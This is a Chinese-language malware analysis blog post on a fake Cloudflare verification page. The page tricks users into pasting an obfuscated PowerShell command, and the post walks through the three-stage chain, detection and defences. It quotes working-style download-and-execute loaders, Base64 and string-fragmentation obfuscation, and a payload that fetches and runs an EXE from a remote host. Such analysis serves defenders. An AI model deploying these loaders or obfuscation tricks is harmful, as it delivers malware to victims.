先说结论这种“假 Cloudflare 验证”攻击本质上就是利用普通人对安全品牌的信任感把恶意脚本搬进了看似熟悉的验证页面。这几年我见过不少类似病例这个算是有代表性的——三阶段加载设计得很典型PowerShell 混淆的手法和常规样本比也更有层次感。如果你是企业安全运维、终端管理员或者只是喜欢折腾 Windows 脚本分析的技术爱好者这篇拆解应该能帮你把整个攻击链路的逻辑理清楚。我会把攻击入口、载荷加载方式、混淆手段、检测思路和防护建议一次性讲透。1. 攻击链整体设计为什么攻击者偏爱“验证页面”这种入口1.1 核心思路解析用信任替代恐吓钓鱼攻击的传统思路是制造紧张感——比如“你的电脑已中毒”“账户异常登录”这类恐吓话术逼迫用户在慌乱中点击、下载、输入信息。但这几年这套玩法的转化率越来越低因为安全意识培训反复强调“不要点击可疑弹窗”大家产生了一定的免疫力。于是攻击者换了个策略利用用户对知名品牌的信任感。Cloudflare 在很多普通用户眼里等于“安全”“验证”“大厂”。我做过一个简单的统计观察在模拟演练中通知邮件里包含“Cloudflare 正在验证您的浏览器”这类话术时用户点击率比“安全警报”类话术高了不少。原因很简单——验证页面几乎每天都在用用户毫无防备。所以这个攻击的第一层就是打造一个看起来完全正常的“安全检查”页面。没有病毒式的弹窗、没有血红色警告、没有倒计时紧迫感反而越平静、越慢、越细腻越容易让人放松警惕。1.2 为什么是三阶段隐藏入口、中继载荷、最终落盘之间的解耦把攻击过程拆成三段不是为了炫技而是有很实际的目的阶段一入口页只做“验证”和“引导”不直接落任何恶意代码。这样即使这个 URL 被管理员上报、被沙箱扫描看到的就是一个静态页面静态扫描直接放过。阶段二载荷中继做脚本呈现和混淆释放可以独立抽换、快速批量生成变种。服务端改一点点参数就能换一批样本安全设备的特征库完全跟不上。阶段三最终落盘与命令执行才真正执行 PowerShell 代码。因为混淆和最终执行分开样本分析人员需要多走两步才能看到真正的 C2 指令。这种解耦模式和现在很多自动化攻击平台的做法是一脉相承的——入口、中继、载荷各自独立随时可以替换让特征的时效性大幅缩短。1.3 初始投放钓鱼邮件与流量劫持的双重路径这类攻击常见的投放路径有两条第一钓鱼邮件。邮件标题多为“账号异常登录验证”“您的服务已暂停请完成安全验证”内嵌一个链接。链接域名通常做过一层伪装比如security-check-cloudflare[.]com这种仿冒域名或者用 URL 跳转服务隐藏最终地址。用户点击后先经过一个中转域名再跳转到攻击者的验证页面。第二流量劫持或山寨下载站。在一些非正规软件下载站、影视资源站里暗插脚本或广告位诱导用户点击“验证”以解锁内容。这类入口不依赖邮件所以网关邮件过滤拦截不到。不管哪条路径用户最终看到的都是一个“网页正在检查您的浏览器安全设置”之类的等待页面旋转圈圈持续几秒然后提示“检测到异常环境请完成验证”。2. 阶段一解析入口页的伪装手法与用户诱导细节2.1 页面表现层像素级复刻 Cloudflare 体验我拿到几个样本做过对比入口页的设计确实做得不走心不行。页面里包含Cloudflare 风格的 Logo 和配色。动态的“安全检查中……”进度条。浏览器环境检测的假步骤列表比如“检查浏览器配置”“验证安全连接”“确认为真实用户”。每一步都有较长的等待时间模仿真实验证页面的加载节奏。做得比较细的部分是右下角甚至还有“Privacy Policy”和“Terms”的链接虽然链接指向的是攻击者控制的页面但大多数用户根本不会点开看。这种表层细节的意义在于如果用户在社交平台发布截图求助或者拿去给同事看第一反应都是“这不就是 Cloudflare 验证嘛”。2.2 技术触发层怎么从验证页面跳转到脚本中继入口页面本身不放恶意代码而是通过以下三种方式之一触发下一阶段方案一按钮触发。页面显示“验证完成后请点击下方按钮继续”点击后通过 JavaScript 向攻击者服务器请求下一段脚本地址。方案二倒计时自动触发。页面在预览完毕之后用window.location跳转到载荷地址。方案三剪贴板劫持触发。这个更阴险它诱导用户手动执行命令。我重点说下第三种因为在三阶段样本中它算是“用户体验”上最仿真的一版。整个页面最后会展示一段代码提示用户打开 Windows 的“运行”窗口快捷键是Win R把代码粘贴进去后按回车理由是“完成浏览器安全验证的最后一步”。实际粘贴进运行框的内容是一段 PowerShell 下载并执行的命令。这个设计特别值得注意因为实现难度低、迷惑性高。比起靠浏览器漏洞自动利用它只需要诱导用户自己动手执行一步比起暴力下载 EXE 文件它绕过了大部分邮件网关和浏览器下载拦截。我甚至见过中文版的话术“如遇安全验证失败请按以下步骤手动完成验证。”2.3 入口页的规避设计反沙箱与反爬虫细节为了让安全分析设备更难识别部分样本在页面里加入了反沙箱逻辑基于 DNS 的沙箱识别页面 JavaScript 会查询当前页面环境的 DNS 解析行为如果发现明显是虚拟机内解析就返回一个空白页面。基于光标移动判断使用mousemove事件监听如果页面加载后一段时间内没有鼠标移动事件判定是自动化爬虫不触发跳转。基于浏览器指纹判断收集navigator.userAgent、屏幕分辨率、UA 完整性等特征过滤掉无头浏览器Headless Browser。这些机制不是每个样本都有但入口页的代码量明显往“Session 内区分人类用户与沙箱”的方向用力。3. 阶段二核心JavaScript 中继、远程脚本拉取与变量动态生成3.1 中继脚本的职责定位 PowerShell 载荷地址如果说入口页是保安中继脚本就是传递员。它的核心职责是从攻击者服务器上拉取最终的 PowerShell 命令或脚本并把它以“看起来正常”的方式传给阶段三。具体流程入口页跳转到中继 URL通常带一个随机参数比如?idabc123。中继服务器根据参数返回一段 JavaScript。这段 JavaScript 内部通过XMLHttpRequest或fetch请求一个真正的载荷地址。载荷返回的内容被包装成一段“验证码”展示给用户或者直接拼入运行命令。有些中继脚本会做时间控比如页面停留时间不足 2 秒就不展示结果。这个也是配合“看起来像真实验证流程”的设计。3.2 PowerShell 命令的三种典型投递方式我分析过的样本里PowerShell 的投递方式主要有三种各有自己的特点投递方式实现样例特点与风险远程下载执行powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(...)最快、最容易被 AMSI 抓到特征图片隐写拉取PowerShell 先从远程 URL 下载图片文件再基于像素数据提取执行内容静态特征少更隐蔽多级解码执行载荷本身是 Base64 嵌套压缩 多次解码后拼接为实际命令对抗分析工具特征不固定在“假 Cloudflare 验证”样本中第三类多级解码的样本明显更多因为攻击者很清楚直接暴露DownloadString这个特征AMSI 和 Defender 很容易就地拦截。一个让我印象很深的样本PowerShell 命令是这样构造的powershell -nop -w hidden -enc JABlAHIAcgBFAHIAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAbABvAGEAZAB...-enc参数接收 Base64 编码的字符串解码出来又是一段经过字符串反转和拆分重组的代码。操作者的意图非常清晰每一步都让自动化分析工具多花时间而用户这边只需要一次 CtrlV、回车感染就完成了。3.3 变量动态生成与字符串碎片化为了方便展开后面的混淆分析这里先交代一下“字符串碎片化”的概念。正常 PowerShell 脚本可能会写Invoke-WebRequest -Uri http://badserver/evil.ps1 -OutFile evil.ps1攻击者把这条命令切碎重组$aInvoke-;$bWebRequest -;$cUri ht;$dtp://badserver/e;$evil.ps1 -OutFile e;$fvil.ps1;$final$a$b$c$d$e$f这样字符串常量不再以完整形态出现在脚本文件里很多只做特征匹配的杀软就搜不到。典型的中继脚本还会把$final再经过一层-join或者-split处理让分析样本的人更难一眼找到命令拼接点。这种手法本身不是什么独创技术但从攻击链的角度看它实现了“即使中继脚本被抓到特征提取和告警规则匹配也轻易做不出来”的预期。4. 阶段三深度拆解PowerShell 混淆的几种常见手法与对抗逻辑4.1 常用混淆手法盘点与原理说明PowerShell 混淆的手法很多但落地样本里常见的其实是固定的几种组合。我做了一个整理可以拿来对照分析混淆手法原理对抗目的Base64 编码将命令转换为一串纯字母数字规避明文特征匹配躲静态扫描字符串拼接与反转把敏感字符串拆成变量再拼接用-join、数组反转还原真正 URL让规则匹配失效变量名随机化变量命名用随机无意义字符每次样本都不同打签名检测调用方式混淆用运算符间接调用 cmdlet或通过Get-Command动态获取命令让进程行为链更难追溯压缩与多次解码System.IO.Compression解压缩嵌套代码对抗沙箱自动化脚本特殊符号插入在命令中间插入反引号 、分号或逗号利用 PowerShell 的解析特性消除影响绕过命令行白名单我拿“调用方式混淆”举个例子。正常写法是Invoke-Expression $payload混淆后可以变成$cmd Expre ssion (Get-Command -Name $cmd) $payload这里是 PowerShell 的调用运算符Get-Command动态查找命令对象很多安全产品如果只看命令行表面匹配不到“Invoke-Expression”这个已知恶意特征就会放过去。4.2 本样本中的 PowerShell 载荷实际拆解拆一个实际样本内容和域名我都做了替换处理看起来类似这样$w System.Net.WebClient; $c New-Object $w; $u (https://) (cdnonline. top/) (client /update); $data $c.DownloadString($u); $k [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($data)); $p [string]::Join(, ($k.ToCharArray() | ForEach-Object { $_ }) ); $cmd [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String( $p )); iex $cmd步骤拆开看就是字符串碎片化构造WebClient类型。碎片化拼出远端 URL域名故意用cdn前缀和update路径模仿合法 CDN 请求。下载内容为 Base64 字符串转码成 UTF8 明文脚本。再把明文脚本整体做一次 Base64 解码得到真正的执行命令。最后iex执行。第二层 Base64 解码后可能是这样的指令$fC:\Users\Public\svc.exe; $uhttp://cdn.online.top/file/48; (New-Object Net.WebClient).DownloadFile($u,$f); Start-BitsTransfer -Source $u -Destination $f; Start-Process $f;到这一步就是典型的“下载新执行文件 诱导运行”收尾。攻击者在最终载荷里还尝试用Start-BitsTransfer做一次重复下载目的是冗余防止WebClient.DownloadFile那一步被拦截后感染链条断掉。4.3 命令执行细节隐藏窗口与绕过执行策略很多样本会在命令开头加上-nop、-w hidden、-Exec Bypass这类参数分别对应-nop不加载 PowerShell 配置文件减少干扰。-w hidden隐藏窗口不让用户看到黑色弹窗闪动。-Exec Bypass绕过当前用户执行策略限制。这三件套几乎是标配。但从技术上说执行策略本身从来不是真正的安全边界——它只限制脚本文件的运行方式命令行直接输入命令并不受严格限制。攻击者保留-Exec Bypass更多是心理层面的稳妥也顺便应对部分强制策略配置。另外还有一种变化在命令中嵌入Delete或Remove-Item自清理操作比如下载执行完 EXE 后立即删除已经落地的脚本文件减少磁盘痕迹。这个细节在样本分析时经常被忽略但现场处置时很有用。4.4 进程链视角从 powershell.exe 到 svchost 子进程抛开混淆看行为链整个过程其实是rundll32.exe或mshta.exe作为初始启动载体有些样本用mshta执行 VBScript再由 VBScript 拉起 PowerShell。powershell.exe启动隐藏窗口与外网服务器通信下载载荷。PowerShell 写入 PE 文件到用户公共目录或临时目录。Start-Process启动该 PE 文件PE 往往伪装成系统更新程序或合法工具。后续 PE 可能通过计划任务注册持久化。如果终端上开启了 Sysmon 或 EDR这个过程可以按父进程、子进程完整追踪出来。但普通用户或没有完善日志的企业的 Windows 事件日志里只能看到一条孤零零的powershell.exe启动记录很难定位上下文。5. 检测思路与排查工具怎么在三阶段里抢到处置先机5.1 静态排查从邮件网关到终端脚本落盘的检查清单面对这类攻击不能只靠单点拦截而是要做一层层拆解邮件网关层检查进入用户收件箱的邮件是否包含短链接、仿冒域名、可疑附件。可以用域名信誉查询工具直接对 URL 进行解析分析。浏览器层重点排查浏览器扩展、首页是否被异常改动导出浏览器历史并检查是否访问过“安全验证”类页面。终端文件层检查用户目录下的Downloads、Temp、Public目录查看是否有近期创建的脚本文件、EXE 文件。这一步主要面向已经感染但还没来得及执行的样本。进程排查层用tasklist /v查看 PowerShell 相关进程结合是否有隐藏窗口判断也可以用 PowerShell 自带命令列出进程的命令行参数。如果是初筛一个简易命令Get-WinEvent -FilterHashtable {LogNameMicrosoft-Windows-PowerShell/Operational; Id4104} | Where-Object {$_.Message -match DownloadString|FromBase64String|WebClient} | Select-Object -First 20只要能快速找到包含敏感 cmdlet 的 PowerShell 脚本块日志局面就明朗了一大半。5.2 动态分析在隔离环境里跑一次完整链路动态分析的目的是把攻击者的最终载荷引出来而不是只知道中间段的命令。推荐按如下流程在虚拟机或隔离主机里架好网络抓包工具和进程监控工具。修改本地 DNS 解析把攻击者域名解析到自定义的回环地址或者用伪造服务响应请求。用浏览器访问入口页 URL但禁止自动跳转方便逐层查看请求。如果页面要求用户执行 PowerShell 命令可以先在文本编辑器里还原整条命令做人工审查后再决定是否执行。记录 PowerShell 的完整输出、网络连接、写入文件路径。在这个环境里可以观察到一个非常细的点即使中继脚本用了多重混淆请求最终还是会落到一个固定的服务器 IP 或域名而且下载的载荷大概率会在文件头部出现特定的 MZ 标志。走到这一步整个攻击链路的最后阶段就暴露出来了。5.3 需要注意的坑误判与漏判的平衡有几个容易踩的坑我在实际分析里反复遇到过度依赖“已知恶意 Hash”。攻击者的 URL 和文件名都是随机生成的同一波攻击里每个受害者的文件都可能不同只查哈希等于刻舟求剑。忽略 PowerShell 日志未开启的情况。默认 Windows 主机的 PowerShell 脚本块日志是不开启的很多事件根本不会有记录排查时必须考虑日志缺失不能因为查不到就当没发生。只看 WebClient 特征。如果攻击者改用Start-BitsTransfer或者System.Net.HttpWebRequest常规字符匹配很可能被绕过。这些坑的应对思路其实是一致的多关注行为链和上下文少依赖单点特征。6. 防护建议与加固实践事前防控比事后处置更重要6.1 终端侧策略限制 PowerShell 的滥用面要给 PowerShell 上“限制”而不是“禁用”因为业务场景里很多自动化脚本还是要用的。我建议的关键策略开启 PowerShell 脚本块日志和转录日志并定期把日志集中归档。通过组策略或安全基线限制Invoke-Expression和DownloadString这类容易滥用 cmdlet 的使用场景。使用 Windows Defender 攻击面减少规则阻止从 Office 进程衍生的子进程执行 PowerShell。对powershell.exe的调用来源做监控正常场景下 PowerShell 绝大多数由用户会话或计划任务启动如果由mshta、wscript等脚本宿主进程拉起就要重点排查。6.2 网络侧策略域名信誉 首次访问文件检测网络侧的拦截更偏预防在 DNS 层配置恶意域名过滤拦截已知 C2 域名和可疑动态域名。出口网关开启 TLS 检测防止加密流量中的下载请求逃过审计。针对“第一次出现的域名 首次下载文件并执行”的组合行为触发额外的验证机制。这套思路并不复杂核心就是把“未知文件 未知域名 执行动作”视为高风险组合而不是等有了具体特征再拦截。6.3 用户侧意识验证页面的本质是什么在技术之外有一条值得反复跟员工、朋友强调的常识任何正规网站的“验证”都不需要用户打开运行窗口、粘贴代码、按回车。不管是 Cloudflare、Google 还是其他平台的验证码都只在浏览器页面里完成。这个认知普及到位之后这类攻击的门槛会直接被抬高非常多。6.4 应急处置流程参考如果已经发现自己或同事执行了“验证代码”不要慌按顺序处理断网立刻断开网线或 WiFi阻止后续 C2 通信。快照如果环境允许优先保留内存镜像和磁盘快照。查进程打开任务管理器检查powershell.exe进程右键打开文件位置先终止可疑进程。查文件到%TEMP%、C:\Users\Public、%APPDATA%目录下按“修改时间排序”寻找近期生成的 EXE。查计划任务运行schtasks /query /fo LIST /v筛选近期新增或来源不明的任务。改密码因为样本可能已在后台采集凭据建议对关键系统账户密码做强制重置。补做全盘扫描使用杀毒软件离线病毒库做一次全盘扫描重点放在 PowerShell 落地的载荷。7. 从多个样本看攻击趋势这类手法的演进方向7.1 从“下载执行”到“原生化落地”的转变前两年的样本大多停留在“下载 EXE 然后运行”现在越来越多的样本开始尝试 PowerShell 原生实现轻量级木马功能。比如直接从内存中加载 C# 编译的二进制不落盘执行或者用 PowerShell 收集系统信息后直接 POST 到 C2整个过程不写一个文件。这种转变对安全产品的影响很明显单纯靠文件扫描已经很难发现这类攻击行为检测能力和日志审计的优先级会进一步提升。7.2 与正常自动化运维的灰色地带PowerShell 本身是管理员最常用的运维工具攻击者把恶意行为隐藏在一段“看起来像系统维护脚本”的命令中会让监控规则的误报率变得很高。比如(New-Object Net.WebClient).DownloadString(http://internal/cdn/check.ps1)如果把域名替换成内部地址很多安全设备就直接放行了因为策略默认信任内部网络。7.3 对安全运营团队的提醒这类攻击对运营团队有一个核心挑战它们在每个阶段看起来都“无害”。入口页是静态页面中继脚本是普通 JavaScriptPowerShell 命令做了碎片化处理所以没有一个环节可以被传统特征引擎一枪毙命。应对思路应该是分阶段布防、全链路联动。入口页靠邮件网关和上网行为管理过滤中继和最终载荷靠终端行为监控兜底用户教育和应急演练补齐人对社会工程的防线。三大防线缺一条另外两条的压力都会成倍上升。我个人的经验是不要指望靠某一个“银弹”产品拦住所有攻击关键是把链路拆开在每一段都埋下一根“如果有异常就停下来看一眼”的神经。最后再分享一个实操小技巧如果你在日常排查里遇到疑似 PowerShell 恶意命令又不想亲手执行它可以把命令里的iex也就是Invoke-Expression替换成Write-Output其余逻辑直接原样运行。这样脚本会打印出真正要执行的命令内容而不是真的去执行许多隐藏的最终载荷都会被这一步逼出来。这个方法我在多个样本分析里屡试不爽算是成本极低但收益很高的招。
阅读完成 · 觉得有帮助?